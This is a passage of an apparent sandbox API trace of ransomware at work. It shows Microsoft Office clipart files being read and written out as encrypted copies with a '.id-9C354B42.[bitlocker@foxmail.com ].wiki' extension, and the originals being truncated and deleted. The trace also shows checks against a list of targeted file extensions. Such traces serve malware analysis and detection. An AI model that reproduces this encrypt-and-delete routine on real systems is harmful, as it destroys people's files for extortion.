liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.667] SetEndOfFile (hFile=0x1f8) returned 1 [0195.667] CloseHandle (hObject=0x1f8) returned 1 [0195.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.668] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 1 [0195.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.668] lstrlenW (lpString=".doc") returned 4 [0195.668] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.668] lstrlenW (lpString=".docx") returned 5 [0195.668] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.668] lstrlenW (lpString=".pdf") returned 4 [0195.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.668] lstrlenW (lpString=".xls") returned 4 [0195.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.668] lstrlenW (lpString=".xlsx") returned 5 [0195.668] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.668] lstrlenW (lpString=".ppt") returned 4 [0195.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.668] lstrlenW (lpString=".zip") returned 4 [0195.668] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.668] lstrlenW (lpString=".rar") returned 4 [0195.668] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.668] lstrlenW (lpString=".bz2") returned 4 [0195.668] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.668] lstrlenW (lpString=".7z") returned 3 [0195.668] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.668] lstrlenW (lpString=".dbf") returned 4 [0195.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.669] lstrlenW (lpString=".1cd") returned 4 [0195.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.669] lstrlenW (lpString=".jpg") returned 4 [0195.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.669] lstrlenW (lpString=".doc") returned 4 [0195.669] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.669] lstrlenW (lpString=".docx") returned 5 [0195.669] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.669] lstrlenW (lpString=".pdf") returned 4 [0195.669] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.669] lstrlenW (lpString=".xls") returned 4 [0195.669] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.669] lstrlenW (lpString=".xlsx") returned 5 [0195.669] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.669] lstrlenW (lpString=".ppt") returned 4 [0195.669] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.669] lstrlenW (lpString=".zip") returned 4 [0195.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.669] lstrlenW (lpString=".rar") returned 4 [0195.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.669] lstrlenW (lpString=".bz2") returned 4 [0195.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.669] lstrlenW (lpString=".7z") returned 3 [0195.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.670] lstrlenW (lpString=".dbf") returned 4 [0195.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.670] lstrlenW (lpString=".1cd") returned 4 [0195.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF") returned 63 [0195.670] lstrlenW (lpString=".jpg") returned 4 [0195.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.670] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.670] lstrlenW (lpString="J0107730.WMF") returned 12 [0195.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.670] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3060) returned 1 [0195.670] CloseHandle (hObject=0x1f8) returned 1 [0195.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 0x20 [0195.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.671] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.671] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.671] GetLastError () returned 0x0 [0195.671] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xbf4, lpOverlapped=0x0) returned 1 [0195.673] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xc00, lpOverlapped=0x0) returned 1 [0195.674] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.674] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.674] SetEndOfFile (hFile=0x1f0) returned 1 [0195.674] CloseHandle (hObject=0x1f0) returned 1 [0195.674] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.674] SetEndOfFile (hFile=0x1f8) returned 1 [0195.675] CloseHandle (hObject=0x1f8) returned 1 [0195.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf")) returned 1 [0195.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.675] lstrlenW (lpString=".doc") returned 4 [0195.675] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.675] lstrlenW (lpString=".docx") returned 5 [0195.675] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.675] lstrlenW (lpString=".pdf") returned 4 [0195.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.676] lstrlenW (lpString=".xls") returned 4 [0195.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.676] lstrlenW (lpString=".xlsx") returned 5 [0195.676] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.676] lstrlenW (lpString=".ppt") returned 4 [0195.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.676] lstrlenW (lpString=".zip") returned 4 [0195.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.676] lstrlenW (lpString=".rar") returned 4 [0195.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.676] lstrlenW (lpString=".bz2") returned 4 [0195.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.676] lstrlenW (lpString=".7z") returned 3 [0195.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.676] lstrlenW (lpString=".dbf") returned 4 [0195.676] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.676] lstrlenW (lpString=".1cd") returned 4 [0195.676] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.676] lstrlenW (lpString=".jpg") returned 4 [0195.676] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.676] lstrlenW (lpString=".doc") returned 4 [0195.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.676] lstrlenW (lpString=".docx") returned 5 [0195.676] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.677] lstrlenW (lpString=".pdf") returned 4 [0195.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.677] lstrlenW (lpString=".xls") returned 4 [0195.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.677] lstrlenW (lpString=".xlsx") returned 5 [0195.677] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.677] lstrlenW (lpString=".ppt") returned 4 [0195.677] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.677] lstrlenW (lpString=".zip") returned 4 [0195.677] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.677] lstrlenW (lpString=".rar") returned 4 [0195.677] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.677] lstrlenW (lpString=".bz2") returned 4 [0195.677] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.677] lstrlenW (lpString=".7z") returned 3 [0195.677] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.677] lstrlenW (lpString=".dbf") returned 4 [0195.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.677] lstrlenW (lpString=".1cd") returned 4 [0195.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0195.677] lstrlenW (lpString=".jpg") returned 4 [0195.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.677] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.678] lstrlenW (lpString="J0107734.WMF") returned 12 [0195.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.678] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3140) returned 1 [0195.678] CloseHandle (hObject=0x1f8) returned 1 [0195.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 0x20 [0195.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.678] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.678] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.679] GetLastError () returned 0x0 [0195.679] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xc44, lpOverlapped=0x0) returned 1 [0195.681] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xc50, lpOverlapped=0x0) returned 1 [0195.682] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.682] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.682] SetEndOfFile (hFile=0x1f0) returned 1 [0195.682] CloseHandle (hObject=0x1f0) returned 1 [0195.682] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.682] SetEndOfFile (hFile=0x1f8) returned 1 [0195.683] CloseHandle (hObject=0x1f8) returned 1 [0195.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf")) returned 1 [0195.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.683] lstrlenW (lpString=".doc") returned 4 [0195.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.683] lstrlenW (lpString=".docx") returned 5 [0195.683] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.683] lstrlenW (lpString=".pdf") returned 4 [0195.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.683] lstrlenW (lpString=".xls") returned 4 [0195.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.684] lstrlenW (lpString=".xlsx") returned 5 [0195.684] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.684] lstrlenW (lpString=".ppt") returned 4 [0195.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.684] lstrlenW (lpString=".zip") returned 4 [0195.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.684] lstrlenW (lpString=".rar") returned 4 [0195.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.684] lstrlenW (lpString=".bz2") returned 4 [0195.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.684] lstrlenW (lpString=".7z") returned 3 [0195.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.684] lstrlenW (lpString=".dbf") returned 4 [0195.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.684] lstrlenW (lpString=".1cd") returned 4 [0195.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.684] lstrlenW (lpString=".jpg") returned 4 [0195.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.684] lstrlenW (lpString=".doc") returned 4 [0195.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.684] lstrlenW (lpString=".docx") returned 5 [0195.684] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.684] lstrlenW (lpString=".pdf") returned 4 [0195.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.685] lstrlenW (lpString=".xls") returned 4 [0195.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.685] lstrlenW (lpString=".xlsx") returned 5 [0195.685] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.685] lstrlenW (lpString=".ppt") returned 4 [0195.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.685] lstrlenW (lpString=".zip") returned 4 [0195.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.685] lstrlenW (lpString=".rar") returned 4 [0195.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.685] lstrlenW (lpString=".bz2") returned 4 [0195.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.685] lstrlenW (lpString=".7z") returned 3 [0195.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.685] lstrlenW (lpString=".dbf") returned 4 [0195.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.685] lstrlenW (lpString=".1cd") returned 4 [0195.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0195.685] lstrlenW (lpString=".jpg") returned 4 [0195.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.685] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.685] lstrlenW (lpString="J0107742.WMF") returned 12 [0195.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.686] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=3644) returned 1 [0195.686] CloseHandle (hObject=0x1f8) returned 1 [0195.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 0x20 [0195.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.686] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.686] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.687] GetLastError () returned 0x0 [0195.687] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0xe3c, lpOverlapped=0x0) returned 1 [0195.688] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xe40, lpOverlapped=0x0) returned 1 [0195.689] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.689] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.689] SetEndOfFile (hFile=0x1f0) returned 1 [0195.689] CloseHandle (hObject=0x1f0) returned 1 [0195.690] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.690] SetEndOfFile (hFile=0x1f8) returned 1 [0195.690] CloseHandle (hObject=0x1f8) returned 1 [0195.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf")) returned 1 [0195.691] lstrlenW 